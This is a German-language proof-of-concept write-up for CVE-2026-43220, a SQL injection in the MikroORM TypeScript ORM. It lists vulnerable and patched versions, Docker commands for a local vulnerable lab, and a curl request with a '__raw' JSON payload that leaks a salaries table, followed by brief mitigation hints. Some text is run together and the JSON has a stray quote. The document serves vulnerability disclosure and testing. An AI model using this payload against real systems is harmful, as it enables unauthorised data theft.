
SQL-Injection-Schwachstelle in MikroORM
★ CVE-2026-43220 MikroORM SQL-Injection PoC ★
https://github.com/user-attachments/assets/33724cfc-6151-47ff-9415-2f50c5124cd1
CVE-2026-43220 ist eine SQL-Injection-Schwachstelle in MikroORM, einem weit verbreiteten TypeScript/Node.js-ORM-Framework.
Wenn ein benutzerdefinierter Wert, der eine__raw-Eigenschaft enthält, ohne Validierung an eine Custom-Type-Spalte übergeben wird, identifiziert MikroORMsisRaw()-Prüfung ihn als vertrauenswürdigen internen Raw-SQL-Ausdruck und fügt den vom Angreifer kontrolliertensql-Wert direkt in die generierte Abfrage ein – ohne Typkonvertierung oder Bereinigung –, was zur unbeabsichtigten Ausführung beliebigen SQLs führt.
| Kategorie | Version |
|---|
| Anfällig | MikroORM Version ≤ 6.4.3 & 7.0.0 ≤ Version ≤ 7.0.5 |
| Gepatcht | MikroORM 6.4.4 & 7.0.6 |
docker build -t cve-2026-43220-mikroorm-vuln .
docker run --rm -it -p 3000:3000 --name mikroorm-vuln cve-2026-43220-mikroorm-vuln
Nach dem Start der anfälligen Umgebung folgen Sie den untenstehenden Schritten, um den Angriff zu reproduzieren.
__raw enthältSenden Sie einen JSON-Body, der eine __raw-Eigenschaft enthält, die auf eine Custom-Type-Spalte abzielt.
curl -X POST http://localhost:3000/write \
-H "Content-Type: application/json" \
-d '{
"author":"x",
"title":"x,
"content": {
"__raw": true,
"sql": "(SELECT group_concat(name || ': ' || salary, ' / ') FROM salaries)"
}
}'
Vergewissern Sie sich, dass die API eine erfolgreiche Antwort ohne Fehler zurückgibt, was darauf hindeutet, dass MikroORM die bösartige Payload als gültigen Wert akzeptiert hat.
Vergewissern Sie sich, dass das content-Feld des erstellten Posts das Abfrageergebnis
aus der salaries-Tabelle enthält (z. B. Alice: 5000 / Bob: 7000 / ...),
was bestätigt, dass Daten aus einer nicht zugehörigen Tabelle still und leise
in die Antwort eingebettet wurden – ohne Fehler oder Verletzung der Zugriffskontrolle.
isRaw() eingeführt wird, um extern bereitgestellte __raw-Eigenschaften abzulehnen__raw abzulehnen, bevor Werte an die ORM-Schicht übergeben werden